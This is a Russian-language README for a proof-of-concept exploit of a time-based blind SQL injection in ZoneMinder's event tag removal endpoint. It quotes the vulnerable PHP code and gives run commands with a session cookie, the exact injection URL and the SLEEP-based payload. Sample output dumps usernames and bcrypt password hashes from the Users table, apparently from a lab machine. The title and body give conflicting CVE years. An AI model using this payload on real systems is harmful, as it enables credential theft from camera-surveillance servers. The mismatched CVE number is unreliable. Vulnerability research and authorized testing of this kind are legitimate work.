
CVE-2025-51482 POC, извлечение учетных данных из zm.Users
Эксплойт proof-of-concept для CVE-2024-51482, аутентифицированной уязвимости time-based blind SQL-инъекции в ZoneMinder v1.37. ≤ 1.37.64*.
Скрипт извлекает имена пользователей и хэши паролей из таблицы zm.Users с помощью бинарного поиска (бисекции) по оракулу на основе SLEEP().
Обработчик removetag в web/ajax/event.php безопасно параметризует запрос DELETE, но затем напрямую интерполирует вводимые пользователем данные в последующий SELECT:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId берётся напрямую из $_REQUEST['tid'] без очистки, что позволяет внедрение через параметр tid.
requests (pip install requests)ZMSESSID от авторизованной учётной записи ZoneMinderpython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Аргументы:
--url — базовый URL ZoneMinder (например, http://cctv.htb/zm) (обязательно)--zmsessid — значение cookie ZMSESSID (обязательно)--sleep — количество секунд ожидания для временного анализа (по умолчанию: 3)--timeout — тайм-аут запроса в секундах (по умолчанию: sleep + 3)Примеры:
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Войдите в ZoneMinder, откройте DevTools браузера (F12) -> Application -> Cookies и скопируйте значение ZMSESSID. В качестве альтернативы перехватите любой аутентифицированный запрос в Burp Suite и извлеките его из заголовка Cookie.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 для измерения нормального времени ответа.SLEEP(2) и проверяет, что ответ задерживается на ≥2 секунды.COUNT(*) по zm.Users для определения количества существующих учётных записей.Username и Password (~7 запросов на символ против 95 при линейном сканировании).Структура полезной нагрузки:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 требуется, потому что безопасный DELETE перед уязвимым SELECT вызовет ошибку 500 без него, прерывая выполнение до того, как будет выполнена инъекция.
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных исследований.
Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.